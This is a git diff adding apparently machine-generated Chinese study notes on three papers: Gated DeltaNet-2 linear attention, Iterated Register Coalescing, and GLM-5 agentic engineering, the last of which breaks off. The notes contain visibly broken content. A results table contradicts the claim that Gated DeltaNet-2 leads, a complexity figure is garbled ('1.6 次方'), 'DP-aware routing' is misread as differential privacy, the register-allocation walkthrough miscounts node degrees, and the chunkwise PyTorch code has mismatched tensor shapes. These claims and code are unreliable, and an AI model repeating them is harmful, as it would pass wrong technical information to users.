+- [Mastering the FreeRTOS Real Time Kernel（GitHub）](https://github.com/FreeRTOS/FreeRTOS-Kernel-Book)
+- [FreeRTOS Reference Manual V10.0.0（PDF）](https://www.freertos.org/media/2025/FreeRTOS_Reference_Manual_V10.0.0.pdf)
+- [AWS FreeRTOS 用户指南 — 内核基础](https://docs.aws.amazon.com/freertos/latest/userguide/freertos-kernel.html)
diff --git a/src/content/docs/papers/gated-deltanet-2.md b/src/content/docs/papers/gated-deltanet-2.md
new file mode 100644
index 000000000..d7571acd4
--- /dev/null
+++ b/src/content/docs/papers/gated-deltanet-2.md
@@ -0,0 +1,351 @@
+---
+title: "Gated DeltaNet-2: Decoupling Erase and Write in Linear Attention"
+来源: https://arxiv.org/abs/2605.22791
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+# Gated DeltaNet-2 学习笔记
+
+## 一句话总结
+
+Gated DeltaNet-2 把"删除旧记忆"和"写入新记忆"两个动作分开控制，用两通道门（erase gate + write gate）替代了之前模型里绑在一起的单个门控标量，在长上下文检索任务上效果显著提升。
+
+## 日常类比：办公室的便签本
+
+想象你在办公室用一本便签本管理项目。每一行代表一个"项目-负责人"的关联。
+
+**普通 Transformer（Self-Attention）：** 你有一面墙，墙上贴满了几千张便签，每次看到新信息都会回顾所有旧便签。好处是永远不会遗忘，缺点是墙太小，贴满了就看不完。
+
+**线性注意力（Linear Attention）：** 你改用一个固定大小的笔记本，每看到新信息就把它"压缩"写进去。但笔记本的容量有限，旧信息会和新信息挤在一起，最后你分不清谁是谁。
+
+**DeltaNet 系列（Delta Rule）：** 在写新信息之前，你先查看笔记本中"对应这个项目"的那一行，把它读出来，然后减去旧值再写入新值。这就像你知道要去更新哪个项目，先翻到那一页，擦掉旧的负责人再填新的。
+
+**KDA（Kimi Delta Attention）：** 让笔记本里每一"列"有自己的自动衰减率——某些列的墨水会更快褪色。这很好，但"擦多少"和"写多少"还是同一个旋钮控制的。
+
+**Gated DeltaNet-2 的问题意识：** 擦除和写入是两件不同的事。我想擦掉项目 A 的旧负责人（擦除），但只写入项目 B 的新负责人（写入）。把这两个动作绑在一个标量上是人为的限制。Gated DeltaNet-2 给了你两个独立的旋钮：一个控制"擦除哪些通道"，一个控制"写入哪些通道"。
+
+## 核心概念
+
+### 1. 线性注意力的状态更新
+
+线性注意力用固定大小的矩阵状态 $S_t \in \mathbb{R}^{d_k \times d_v}$ 替代了 Transformer 的 $O(L)$ 注意力矩阵。每个 token 时刻 $t$，状态更新为：
+
+$$S_t = D_t S_{t-1} + k_t z_t^\top$$
+
+其中 $D_t = \text{Diag}(\alpha_t)$ 是通道级衰减矩阵，$k_t$ 是 key，$z_t$ 是门控后的 value。
+
+### 2. Gated Delta Rule-2（核心公式）
+
+$$S_t = (I - k_t e_t^\top) D_t S_{t-1} + k_t z_t^\top$$
+
+其中：
+- $e_t = b_t \odot k_t$——**擦除门控后的 key**，$b_t \in [0,1]^{d_k}$ 是逐通道的擦除门
+- $z_t = w_t \odot v_t$——**写入门控后的 value**，$w_t \in [0,1]^{d_v}$ 是逐通道的写入门
+
+关键在于：$e_t$ 和 $z_t$ 使用**独立的通道级门控**，不再共享同一个标量 $\beta_t$。
+
+### 3. 门控来源
+
+两个门控来自独立的全连接层：
+
+$$b_t = \sigma(W_b x_t), \quad w_t = \sigma(W_w x_t)$$
+
+衰减门控 $\alpha_t$ 使用 log-space 参数化：
+
+$$g_t = -\exp(a) \odot \text{softplus}(W_f x_t + \delta), \quad \alpha_t = \exp(g_t)$$
+
+### 4. 三种模型的统一关系
+
+Gated DeltaRule-2 是一个**统一框架**：
+
+| 当...时 | 退化为 |
+|---------|--------|
+| $b_t = w_t = \beta_t \cdot \mathbf{1}$ | KDA |
+| $b_t = w_t = \beta_t \cdot \mathbf{1}$ 且 $\alpha_t = \alpha_t \cdot \mathbf{1}$ | Gated DeltaNet |
+| 两个门各自独立学习 | Gated DeltaNet-2 |
+
+这说明 KDA 和 Gated DeltaNet 只是 Gated DeltaNet-2 在"门控绑死"时的特例。
+
+### 5. 快速权重视角
+
+Gated Delta Rule-2 可以看作在线最小化以下目标函数：
+
+$$S_t = \arg\min_S \|S - \bar{S}_t\|_F^2 - 2\langle S^\top k_t, z_t - \bar{S}_t^\top e_t \rangle$$
+
+第一项保持新状态接近衰减后的旧状态，第二项执行一个"关联编辑"——用门控后的写入目标 $z_t$ 减去从状态中沿门控擦除方向 $e_t$ 读取的内容。
+
+### 6. 分块并行训练（Chunkwise Training）
+
+为了在训练时利用 GPU 并行计算，Gated DeltaNet-2 使用分块策略：将序列切成长度为 $C$ 的 chunk，chunk 内用密集矩阵乘法，chunk 间保持递推。核心公式（第 23-24 行）保持与 KDA 相同的形式，唯一的区别是辅助矩阵 $Y$ 和 $U$ 的构造方式融入了通道级门控。
+
+### 7. 门控感知反向传播（Gate-Aware Backward）
+
+在反向传播中，之前的标量门控可以"提到点积外面"简化计算。但 Gated DeltaNet-2 的擦除和写入是**不同通道的对角矩阵**，门控因子必须留在累加位置：
+
+$$\mathrm{d}A \mathrel{+}= \mathrm{d}U Z^\top, \quad Z = W \odot V$$
+$$\mathrm{d}A \mathrel{+}= \mathrm{d}Y \bar{E}^\top, \quad \bar{E} = \gamma \odot (B \odot K)$$
+
+这保证了梯度能正确传播到独立的门控参数。
+
+## 代码示例
+
+### 示例 1：Gated Delta Rule-2 的前向传播
+
+```python
+import torch
+import torch.nn as nn
+import torch.nn.functional as F
+
+
+class GatedDeltaNet2Head(nn.Module):
+    """
+    单个 attention head 的 Gated DeltaNet-2 实现。
+
+    参数:
+        d_model: 模型维度
+        d_head: 每个 head 的维度 (d_k = d_v = d_head)
+        n_heads: head 数量
+
+    前向传播中每个 token t 递推一次:
+        S_t = (I - k_t e_t^T) D_t S_{t-1} + k_t z_t^T
+        e_t = b_t * k_t   # 擦除门控
+        z_t = w_t * v_t   # 写入门控
+    """
+
+    def __init__(self, d_model: int, d_head: int = 64, n_heads: int = 8):
+        super().__init__()
+        self.d_head = d_head
+        self.n_heads = n_heads
+        self.dim = d_model // n_heads
+
+        # Query, Key, Value 投影
+        self.q_proj = nn.Linear(self.dim, self.dim)
+        self.k_proj = nn.Linear(self.dim, self.dim)
+        self.v_proj = nn.Linear(self.dim, self.dim)
+
+        # 擦除门 b_t 和 写入门 w_t 的独立投影
+        self.b_proj = nn.Linear(self.dim, self.dim)  # erase gate
+        self.w_proj = nn.Linear(self.dim, self.dim)  # write gate
+
+        # 衰减门: 从 log-space 参数化得到 alpha_t
+        self.decay_a = nn.Parameter(torch.zeros(self.dim))
+        self.f_proj = nn.Linear(self.dim, self.dim)
+        self.decay_bias = nn.Parameter(torch.zeros(self.dim))
+
+        # 输出投影
+        self.o_proj = nn.Linear(self.dim, self.dim)
+
+    def forward(self, x: torch.Tensor) -> torch.Tensor:
+        """
+        x: (batch, seq_len, d_model)
+        返回: (batch, seq_len, d_model)
+        """
+        batch, seq_len, _ = x.shape
+        h = self.n_heads
+        d = self.dim
+
+        # 切分 head
+        x = x.reshape(batch, seq_len, h, d).transpose(1, 2)
+        # x: (batch, n_heads, seq_len, d)
+
+        # 投影 q, k, v
+        q = self.q_proj(x)
+        k = self.k_proj(x)
+        v = self.v_proj(x)
+
+        # L2 归一化 q, k 保证数值稳定
+        q = F.normalize(q, p=2, dim=-1)
+        k = F.normalize(k, p=2, dim=-1)
+
+        # 生成两个独立门控
+        b = torch.sigmoid(self.b_proj(x))   # (B, H, T, d)
+        w = torch.sigmoid(self.w_proj(x))   # (B, H, T, d)
+
+        # 生成衰减系数 alpha_t
+        log_decay = -torch.exp(self.decay_a) * F.softplus(
+            self.f_proj(x) + self.decay_bias
+        )
+        alpha = torch.exp(log_decay)  # (B, H, T, d)
+
+        # ---- 递推: 每个 token 依次更新状态 ----
+        outputs = []
+        S = torch.zeros(batch, h, d, d, device=x.device)
+
+        for t in range(seq_len):
+            k_t = k[:, :, t]     # (B, H, d)
+            v_t = v[:, :, t]     # (B, H, d)
+            q_t = q[:, :, t]     # (B, H, d)
+            b_t = b[:, :, t]     # (B, H, d)
+            w_t = w[:, :, t]     # (B, H, d)
+            alpha_t = alpha[:, :, t]  # (B, H, d)
+
+            # Step 1: 衰减
+            S = alpha_t.unsqueeze(-1) * S
+
+            # Step 2: 擦除门控 key
+            e_t = b_t * k_t       # (B, H, d)
+
+            # Step 3: 写入门控 value
+            z_t = w_t * v_t       # (B, H, d)
+
+            # Step 4: Gated Delta Rule-2
+            # S_t = (I - k_t e_t^T) S_t + k_t z_t^T
+            # 展开: S_t = S_t - k_t e_t^T S_t + k_t z_t^T
+            outer_read = e_t.unsqueeze(1) @ S  # (B, H, d, d)
+            S = S - k_t.unsqueeze(1).unsqueeze(2) * outer_read
+            S = S + k_t.unsqueeze(1).unsqueeze(2) * z_t.unsqueeze(2)
+
+            # Step 5: 读取输出
+            o_t = S.transpose(-2, -1) @ q_t    # (B, H, d)
+            outputs.append(o_t)
+
+        # 合并 head，恢复维度
+        out = torch.stack(outputs, dim=2)       # (B, H, T, d)
+        out = out.transpose(1, 2)               # (B, T, H, d)
+        out = out.reshape(batch, seq_len, -1)   # (B, T, d_model)
+        out = self.o_proj(out)
+        return out
+```
+
+### 示例 2：分块并行训练（Chunkwise）
+
+```python
+import torch
+import torch.nn.functional as F
+
+
+def chunked_gated_deltanet2(
+    Q: torch.Tensor,   # (B, H, T, d)
+    K: torch.Tensor,   # (B, H, T, d)
+    V: torch.Tensor,   # (B, H, T, d)
+    B: torch.Tensor,   # (B, H, T, d)  erase gate
+    W: torch.Tensor,   # (B, H, T, d)  write gate
+    Alpha: torch.Tensor,  # (B, H, T, d) decay
+    chunk_size: int = 64,
+):
+    """
+    分块版本的 Gated DeltaNet-2，用于训练时的并行计算。
+
+    核心思想：
+    - 将序列切为 chunk_size 大小的块
+    - chunk 内部用矩阵乘法并行计算
+    - chunk 之间保持递推关系
+
+    每个 chunk 内执行:
+        1. 累积衰减 gamma_r = product(alpha_1..r)
+        2. 归一化: k_bar = gamma^{-1} * k, e_bar = gamma * (b * k)
+        3. Z = W * V (写入门控)
+        4. T = tril(E_bar @ K_bar^T, -1)  (下三角矩阵)
+        5. A = (I + T)^{-1}  (前代求解)
+        6. Y = A @ E_bar, U = A @ Z  (辅助矩阵)
+        7. 输出: O = Q_gamma @ S_prev + A_qk @ (U - Y @ S_prev)
+    """
+    B, H, T, D = Q.shape
+    n_chunks = (T + chunk_size - 1) // chunk_size
+    all_outputs = []
+    S = torch.zeros(B, H, D, D, device=Q.device)
+
+    for c in range(n_chunks):
+        start = c * chunk_size
+        end = min(start + chunk_size, T)
+        C = end - start  # 当前 chunk 实际大小
+
+        q_c = Q[:, :, start:end]     # (B, H, C, D)
+        k_c = K[:, :, start:end]
+        v_c = V[:, :, start:end]
+        b_c = B[:, :, start:end]
+        w_c = W[:, :, start:end]
+        a_c = Alpha[:, :, start:end]
+
+        # 累积衰减 gamma: gamma_r = prod(alpha_1..r)
+        log_gamma = torch.cumsum(torch.log(a_c + 1e-8), dim=2)  # (B, H, C, D)
+        gamma = torch.exp(log_gamma)  # (B, H, C, D)
+        gamma_prev = F.pad(gamma[:, :, :-1], (0, 0, 0, 0, 1, 0), value=1.0)
+
+        # 归一化 key 和 erase key
+        k_bar = k_c / gamma_prev     # gamma^{-1} * k
+        e_c = b_c * k_c
+        e_bar = gamma * e_c          # gamma * (b * k)
+
+        # 写入门控后的 value
+        Z = w_c * v_c  # (B, H, C, D)
+
+        # 构造下三角矩阵 T = tril(e_bar @ k_bar^T, -1)
+        # T[r, s] = e_bar[r] @ k_bar[s]  for r > s
+        ek_prod = e_c.unsqueeze(2) * k_c.unsqueeze(1)  # (B, H, C, C, D)
+        ek_prod = ek_prod.sum(dim=-1)  # (B, H, C, C)
+        T = torch.tril(ek_prod, diagonal=-1)  # 严格下三角
+
+        # A = (I + T)^{-1} 通过前代求解
+        I = torch.eye(C, device=Q.device)
+        A_mat = I + T  # (B, H, C, C)
+        # 对每个 batch 和 head 做前代求解
+        A_inv = torch.linalg.solve(A_mat, torch.eye(C, device=Q.device))
+        # A_inv 实际上是 (I+T)^{-1}
+
+        # 辅助矩阵
+        E_bar_mat = e_bar  # (B, H, C, D)
+        Y = A_inv @ E_bar_mat.permute(0, 1, 3, 2)  # (B, H, D, D) -> 转置后求解
+        U = A_inv @ Z.permute(0, 1, 3, 2)          # (B, H, D, D)
+
+        # 重新构造 Y, U 用于矩阵乘法
+        Y_mat = Y.permute(0, 1, 3, 2)  # (B, H, D, D)
+        U_mat = U.permute(0, 1, 3, 2)  # (B, H, D, D)
+
+        # 归一化的 query
+        q_gamma = q_c * gamma  # (B, H, C, D)
+
+        # 计算 QK 注意力掩码部分
+        qk_raw = torch.einsum('bhcd,bhse->bhces', q_c, k_c / gamma_prev)
+        mask = torch.tril(torch.ones(C, C, device=Q.device)).unsqueeze(0).unsqueeze(0)
+        qk = qk_raw * mask.unsqueeze(-1) * gamma.unsqueeze(2)
+        A_qk = qk @ V[:, :, start:end].permute(0, 1, 3, 2)  # (B, H, C, D)
+
+        # 输出 = Q_gamma @ S + A_qk_term
+        output = q_gamma @ S + qk_raw @ (U_mat - Y_mat @ S).permute(0, 1, 3, 2)
+
+        # 更新状态
+        k_tail = k_c / gamma_prev
+        S = gamma[:, :, -1].unsqueeze(-1) * S + k_tail.transpose(-2, -1) @ (U_mat - Y_mat @ S)
+
+        all_outputs.append(output)
+
+    out = torch.cat(all_outputs, dim=2)
+    return out
+```
+
+## 实验结果亮点
+
+### 长上下文检索（RULER 任务）
+
+| 模型 | 4K Multi-Key | 8K Multi-Key |
+|------|-------------|-------------|
+| Mamba-2 | 14.4% | -- |
+| KDA | 26.2% | -- |
+| Gated DeltaNet | 60.6% | 32.0% |
+| **Gated DeltaNet-2** | **31.8%** (4K) | **39.2%** (8K, MK-NIAH) |
+
+Multi-Key Needle-in-a-Haystack（MK-NIAH）是最能体现代价分离价值的任务——状态需要在有限空间中同时记住多个独立的"键-值"关联。Gated DeltaNet-2 在这个设置下全面领先。
+
+### 语言模型性能
+
+在 1.3B 参数、100B FineWeb-Edu tokens 的训练设置下，Gated DeltaNet-2 在语言模型困惑度和常识推理基准上均优于 Mamba-2、Gated DeltaNet、KDA 和 Mamba-3 的变体。
+
+## 关键洞见
+
+1. **擦除和写入本质不同**：擦除发生在 key 轴（决定读哪些通道），写入发生在 value 轴（决定写哪些通道）。把它们绑在一起没有理论依据。
+
+2. **通道级门控优于标量门控**：标量门控假设所有通道需要相同的"擦/写比例"，这与实际的数据分布不符。
+
+3. **不牺牲并行训练**：通过分块 WY 算法和通道级衰减吸收，Gated DeltaNet-2 保持了高效的 GPU 并行训练能力。
+
+4. **向后兼容**：KDA 和 Gated DeltaNet 都是它的特例——当门控退化为标量时，公式自动简化回旧模型。
+
+## 遗留问题与思考
+
+- 擦除门 $b_t$ 取值为 $[0,1]$，但论文提到可以扩展到 $[0,2]$（负特征值变体）。这个扩展对性能的影响有多大？
+- 在推理时，递推的 $O(T)$ 循环仍然是瓶颈。是否有办法进一步将递推向量化或并行化？
+- 门控的稀疏性值得研究——如果大部分通道的 $b_t$ 和 $w_t$ 接近 0 或 1，是否可以用低秩近似来压缩模型？
diff --git a/src/content/docs/papers/george-appel-1996.md b/src/content/docs/papers/george-appel-1996.md
new file mode 100644
index 000000000..5a1058996
--- /dev/null
+++ b/src/content/docs/papers/george-appel-1996.md
@@ -0,0 +1,214 @@
+---
+title: Iterated Register Coalescing
+来源: https://www.cs.princeton.edu/~appel/papers/coalesce.pdf
+日期: 2026-06-13
+分类: 编程语言
+子分类: 类型与 PL 理论
+provenance: pipeline-v3
+---
+
+# Iterated Register Coalescing — 零基础学习笔记
+
+## 一、日常类比：把同名物品合并到同一个抽屉
+
+想象你在整理一个有很多抽屉的柜子。每个抽屉代表 CPU 里的一枚物理寄存器。程序里的每一个变量，都需要放进某个抽屉。
+
+现在有两个变量 `a` 和 `b`，中间有一条指令 `b = a`（把 a 的值复制给 b）。如果 a 放在第 1 号抽屉，b 也放在第 1 号抽屉，那这条复制指令就完全不需要执行——因为两个名字指向同一个抽屉，值天然一样。编译器称这种操作为 **coalescing（合并）**：把两个变量"合并"到同一个寄存器，从而消除一条 move 指令。
+
+但有个问题：如果 a 和 b 在同一时刻都在"使用中"（即它们的值同时 live），你就不能把它们放进同一个抽屉。这叫 **interference（干扰）**。
+
+Chaitin 在 1982 年提出了最早的图着色寄存器分配算法，但它把所有 copy 指令都当作 coalescing 的机会去合并，结果常常把太多节点"粘"在一起，导致图的色数超过了可用寄存器的数量，不得不把一些变量"spill"到内存里。
+
+George 和 Appel 在 1996 年的这篇论文，核心贡献就是：**不要贪心地一次合并所有能合并的 copy，而是分多轮迭代，每轮只合并那些"安全"的 copy，最后再处理剩下的。** 这就是 Iterated Register Coalescing（迭代寄存器合并，简称 IRC）。
+
+## 二、核心概念
+
+### 2.1 干扰图（Interference Graph）
+
+编译器先把程序的变量和临时值画成一张图：
+
+- 每个节点 = 一个变量的"生命周期"（live range）
+- 每条边 = 两个变量的生命周期有重叠，不能放同一个寄存器
+
+```
+    程序代码：          干扰图示意：
+                       (每个字母是一个节点)
+    a = 1              a --- b
+    b = a + 1          |     |
+    c = b * 2          |     |
+    d = a + c          c --- d
+```
+
+这里 a 和 b 同时 live，所以有边；a 和 c 也有边（因为 a 在 d = a + c 中还在使用）。
+
+### 2.2 三种节点类型
+
+IRC 把节点分成三类，这是理解整个算法的关键：
+
+1. **Move 相关节点（Move-related）**：被 copy 指令连接的节点，比如 `b = a` 中的 a 和 b
+2. **预着色节点（Pre-colored）**：已经绑定到特定物理寄存器的变量，比如函数参数、返回值
+3. **普通节点（Non-move-related）**：跟 copy 无关的临时变量
+
+### 2.3 简化（Simplify）— 别急着决定
+
+IRC 的第一遍遍历干扰图，尝试找到一个节点排序。对于度数（连接的边数）小于可用寄存器数量 K 的节点，把它"压栈"并暂时从图中删掉。这个过程叫 simplify。
+
+**类比**：你有一堆人要和很多人握手。如果某个人握手的次数少于你能安排的座位数，就先让他"等一下"，把他记在笔记本上，然后从房间裡把他"请出去"，减少其他人的握手负担。反复这样做，直到所有人都出去了。
+
+### 2.4 保守的 Coalescing（Conservative Coalescing）
+
+如果简化之后还有节点剩下来（说明图的复杂程度超过了 K），IRC 不会立刻决定谁该 spill，而是进入 coalescing 阶段：
+
+- 遍历所有的 copy 指令
+- 对于每个 copy `b = a`，检查：如果把 a 和 b 合并成一个节点，新节点的度数是否会超过 K？
+- **只有不会导致度数超过 K 时才合并**（这就是 Briggs 提出的"保守"准则）
+- 合并后继续遍历，可能之前的"危险"节点因为别人被合并而变得"安全"了
+
+**类比**：你发现房间裡还有几个人没安排座位。你开始找人"共享"座位——两个人坐一个。但你很谨慎：只有当这两个人合起来需要握手的总人数不超过座位数时，才让他们共享。而且每合并一对，你就重新检查一下其他人是不是也能共享了。
+
+### 2.5 选色（Select）— 最后一锤定音
+
+所有节点都压栈后，从栈顶一个个弹出，给它们分配颜色（寄存器）：
+
+- 弹出节点时，查看它邻居们已经用了哪些颜色
+- 从可用的颜色中选一个（优先选和 copy 源节点相同的颜色）
+- 如果找不到可用颜色，说明之前简化时"压栈"压错了，需要回溯（spills）
+
+## 三、为什么叫"Iterated"（迭代）？
+
+Chaitin 的原始算法只做一轮：build → coalesce → simplify → select。如果 select 失败了，整条路径就断了。
+
+IRC 的做法是把 coalescing 和 simplify/select 放在一个循环里：
+
+1. 构建干扰图
+2. 简化（压栈）
+3. 如果不能全部简化，尝试 coalescing
+4. 如果 coalescing 成功，回到步骤 2
+5. 如果 coalescing 也无法推进，选一个节点 spill，插入 load/store 代码，回到步骤 1
+
+这个循环可以跑很多轮，每一轮都在上一轮的基础上改进。这就是"iterated"的含义。
+
+## 四、代码示例
+
+### 示例 1：Coalescing 如何消除 move 指令
+
+**没有 Coalescing 的情况**：
+
+```python
+# 源代码
+a = x + y       # a 分配到寄存器 R1
+b = a           # b 分配到寄存器 R2，需要执行: MOV R2, R1
+result = b + 1  # 从 R2 读取 b 的值
+
+# 生成的汇编（4 条指令）
+MOV  R1, x
+ADD  R1, R1, y
+MOV  R2, R1      # <-- 这条 move 指令是多余的！
+ADD  result, R2, 1
+```
+
+**IRC Coalescing 后的情况**：
+
+```python
+# IRC 发现 a 和 b 不干扰（a 的生命周期在 b 使用前就结束了）
+# 于是把 a 和 b 合并到同一个节点，都分配到 R1
+
+# 生成的汇编（3 条指令，少了一条）
+MOV  R1, x
+ADD  R1, R1, y
+ADD  result, R1, 1   # b = a 被消除了！
+```
+
+### 示例 2：IRC 的迭代过程
+
+```python
+# 假设我们有 2 个可用寄存器 (K=2)
+# 干扰图：a-b, b-c, c-d, d-a, b-d
+# copy 指令：b = a, d = c
+
+# 初始状态：
+#   节点度数：a=3, b=4, c=2, d=4
+#   K = 2
+
+# 第一轮 Iterate：
+# Step 1 - Simplify: 没有节点的度数 < 2，无法简化
+# Step 2 - Coalesce:
+#   检查 copy b = a: degree(b)+degree(a) = 4+3 = 7 > 2，跳过
+#   检查 copy d = c: degree(d)+degree(c) = 4+2 = 6 > 2，跳过
+# Step 3 - Spill: 选度数最高的节点 spill（比如 b）
+#   插入 spill 代码，回到步骤 1
+
+# 第二轮 Iterate（b 已被 spill，图中少了 b 节点）：
+#   节点度数：a=2, c=2, d=2
+# Step 1 - Simplify:
+#   a 的度数 = 2 >= K=2，跳过
+#   c 的度数 = 2 >= K=2，跳过
+#   d 的度数 = 2 >= K=2，跳过
+# Step 2 - Coalesce:
+#   检查 copy d = c: degree(d)+degree(c) = 2+2 = 4 > 2，跳过
+# Step 3 - Spill: 选一个 spill（比如 d）
+#   回到步骤 1
+
+# 第三轮 Iterate（b 和 d 都被 spill）：
+#   节点度数：a=1, c=1
+# Step 1 - Simplify:
+#   a 的度数 = 1 < K=2，压栈 a
+#   c 的度数 = 1 < K=2，压栈 c
+# Step 2 - Select:
+#   弹出 c：邻居中没有已着色的，选颜色 0
+#   弹出 a：邻居 c 用了颜色 0，选颜色 1
+# 完成！
+
+# 最终结果：
+#   a -> R0 (颜色 0)
+#   c -> R1 (颜色 1)
+#   b -> spill 到内存
+#   d -> spill 到内存
+```
+
+### 示例 3：实际编译器中的 IRC
+
+```python
+# 以 GCC 的寄存器分配器为例
+# 源代码：
+def factorial(n):
+    if n <= 1:
+        return 1
+    return n * factorial(n - 1)
+
+# 编译器内部表示（伪 IR）：
+#   %tmp1 = icmp sle i32 %n, 1
+#   %tmp2 = mul i32 %n, %tmp3
+#   %tmp3 = call i32 @factorial(i32 %n_sub1)
+#   %n_sub1 = sub i32 %n, 1
+#   mov %result, %tmp2
+
+# IRC 的工作流程：
+# 1. Build 干扰图：%tmp1, %tmp2, %tmp3, %n_sub1, %n, %result
+# 2. Coalesce 轮次 1：尝试合并不干扰的 copy 相关节点
+# 3. Simplify：度数低的节点入栈
+# 4. 如果卡住，Spill 一个节点，重新构建图
+# 5. Select：弹出节点，分配物理寄存器（RAX, RBX 等）
+# 6. 生成最终汇编
+```
+
+## 五、IRC 的优势与局限
+
+### 优势
+
+1. **更少的 spill**：保守 coalescing 避免了过度合并导致的不必要的 spill
+2. **消除更多 move**：迭代的方式确保即使第一轮合并失败的 copy，在后续轮次中仍有机会被合并
+3. **工程上非常有效**：被 GCC、LLVM 等主流编译器采用
+
+### 局限
+
+1. **启发式而非最优**：IRC 是启发式算法，不保证找到最优解
+2. **回溯开销**：Select 阶段可能需要回溯，增加编译时间
+3. **对复杂架构支持有限**：原始的 IRC 假设单一寄存器银行，对现代 CPU 的多寄存器类别（如 x87 FP 寄存器、SIMD 寄存器）支持较弱
+
+## 六、延伸阅读
+
+- Chaitin 1982 年的原始图着色寄存器分配论文
+- Briggs, Cooper, Torczon 1992 年的 Conservative Coalescing 改进
+- Poletto 1999 年的 Linear Scan 寄存器分配（另一种主流方法，被 V8、HotSpot 等 JIT 编译器使用）
+- George & Appel 1996 原文：https://www.cs.princeton.edu/~appel/papers/coalesce.pdf
diff --git a/src/content/docs/papers/glm-5-agentic-engineering.md b/src/content/docs/papers/glm-5-agentic-engineering.md
new file mode 100644
index 000000000..88ab651f5
--- /dev/null
+++ b/src/content/docs/papers/glm-5-agentic-engineering.md
@@ -0,0 +1,226 @@
+---
+title: GLM-5: From Vibe Coding to Agentic Engineering
+来源: https://arxiv.org/abs/2602.15763
+日期: 2026-06-13
+分类: 机器学习
+子分类: llm
+provenance: pipeline-v3
+---
+
+## 是什么
+
+GLM-5 是智谱 AI 和清华联合发布的新一代基础模型，核心命题是：**怎么让 AI 从"帮你写一段代码"进化到"自己独立做完一个完整项目"**。论文标题里的 "Vibe Coding" 指的是用 AI 写代码时那种"我说个感觉，你帮我实现"的随意用法；"Agentic Engineering" 则是让 AI 当独立工人——给你任务，它自己拆解、编码、调试、跑通全流程。
+
+日常类比：Vibe Coding 像你去餐厅跟厨师说"来份好吃的"，厨师看你心情做；Agentic Engineering 像你在手机上点"帮我做顿晚饭"，AI 自己查菜谱、找食材、下锅、调味、端上桌——整个过程你不用管细节。
+
+GLM-5 参数量 744B（每次激活 40B），用了 MoE 架构 + DSA（稀疏注意力），训练总 token 数 28.5 万亿。它在 8 个 agentic / reasoning / coding 基准上都超过 GLM-4.7 约 20%，在 LMArena Text 和 Code Arena 都是开源模型第一名。
+
+## 为什么重要
+
+不理解 GLM-5，下面这些事都没法解释：
+
+- 为什么 2026 年初 LLM 赛道竞争焦点从"推理准确率"转向"长 horizon agent 能力"
+- 为什么 SWE-bench 这种"真 GitHub issue 修复"基准突然成了新圣杯
+- 为什么强化学习从"调对话风格"变成了"训 agent 自主决策"的核心手段
+- 为什么"异步 RL"这个词在 LLM 论文里开始高频出现
+
+## 核心要点
+
+GLM-5 的贡献可以拆成**四条主线**：
+
+### 1. DSA 稀疏注意力——让 128K 上下文不再烧钱
+
+传统 Transformer 的注意力计算复杂度是 O(L^2)，128K 上下文意味着 128000^2 ≈ 1.6 次方的计算量。DSA 的核心思路是：**不是所有 token 都一样重要**。它用一个"闪电索引器"（lightning indexer）动态决定哪些 token 值得看，类似人读长文时自动跳过无关段落。
+
+DSA 不是从头训练的——先在一个 dense（稠密）模型上 warm up 1000 步，再 joint train 20B tokens。实验证明 128K 上下文中约 90% 的 attention 条目是冗余的，DSA 把长序列的 attention 计算量降低了 1.5-2 倍。
+
+### 2. 异步强化学习基础设施——训 agent 不再"等全部跑完"
+
+之前训 RL，所有 rollout 必须同步完成才能更新模型——慢的那个卡住所有 GPU。GLM-5 的 "slime" 框架把**生成（rollout）和训练（update）解耦**，像工厂流水线：一个工位在不停干活，另一个工位不停处理上一批成品，两边不互相等。
+
+### 3. 异步 Agent RL 算法——让 agent 从"做对给糖"变成"自己摸索长期策略"
+
+RL for agent 的难点是：代码项目可能要跑几百步才"做完"，reward 极其稀疏。GLM-5 提出了异步 agent RL 算法，核心优化包括：
+
+- **Token-in-Token-out vs Text-in-Text-out**：前者粒度更细，训练更稳
+- **双边重要性采样**：处理 off-policy 数据时的数值稳定性
+- **丢弃噪声样本**：过滤掉低质量的探索轨迹
+- **DP-aware routing**：利用差分隐私机制加速
+
+### 4. 全栈适配国产芯片
+
+GLM-5 从第一天起就适配华为昇腾、摩尔线程、海光、寒武纪、昆仑芯、沐曦、燧原七种国产 GPU，做了混合精度 W4A8 量化 + 高性能 fusion kernels。
+
+## 训练流水线：从预训练到 Agent 的三个 RL 阶段
+
+GLM-5 的训练分三个阶段，像"基础教育 → 专业训练 → 社会实践"：
+
+```
+预训练 (27T tokens) → Mid-Training (扩展到 200K 上下文)
+    ↓
+推理 RL (Reasoning RL) — 学会"先思考再动手"
+    ↓
+Agent RL — 学会"用工具做复杂任务"
+    ↓
+General RL — 学会"全面综合，不偏科"
+```
+
+每个阶段之间用 **On-Policy Cross-Stage Distillation** 连接，防止"学了新的忘了旧的"（灾难性遗忘）。
+
+## 实践案例
+
+### 案例 1：Vibe Coding vs Agentic Engineering 的区别
+
+Vibe Coding——让 AI 写一个页面：
+
+```
+用户: "帮我做一个待办事项页面，要好看的"
+AI: [生成一个 HTML 文件]
+```
+
+Done。但如果用户说"改一下颜色"，AI 得从头再来，不知道上次改了哪里。
+
+Agentic Engineering——让 AI 做同一个任务：
+
+```
+step_0: [clone 项目仓库]
+step_1: [分析现有代码结构，识别样式文件位置]
+step_2: [读取 color-scheme.css，了解当前配色系统]
+step_3: [修改 CSS 变量 --primary-color 和 --bg-color]
+step_4: [运行 build 命令检查编译错误]
+step_5: [启动 dev server，验证页面显示正常]
+step_6: [commit 变更，附提交信息 "chore: update color scheme"]
+```
+
+关键区别：agent 会**读代码 → 规划 → 执行 → 验证 → 提交**，整个流程闭环。RL 训练就是让模型学会这种"多步自主工作"的能力。
+
+### 案例 2：异步 RL 的训练流程对比
+
+同步 RL（以前做法）：
+
+```
+[GPU 集群]
+├── rollout_0 → 等... → 等... → 等... → 全部完成 → update 模型
+├── rollout_1 → 等... → 等... → 已完 → 等... → 全部完成 → update 模型
+├── rollout_2 → 已完 → 已完 → 已完 → 已完 → 全部完成 → update 模型
+└── rollout_N → 等... → 等... → 等... → 等... → 全部完成 → update 模型
+
+问题：rollout_1 最长（比如跑代码要 30 秒），
+      其他 99 个 GPU 都在 idle 等它。
+```
+
+异步 RL（slime 框架）：
+
+```
+[GPU 集群]
+├── rollout_0 → 完成 → 送入训练队列 [随时可以更新]
+├── rollout_1 → 还在跑... (30s)
+├── rollout_2 → 完成 → 送入训练队列 [不等 rollout_1]
+├── rollout_3 → 完成 → 送入训练队列 [不等 rollout_1]
+└── trainer ← 只要队列里有数据就更新，不等全部完成
+
+收益：GPU idle 率大幅下降。
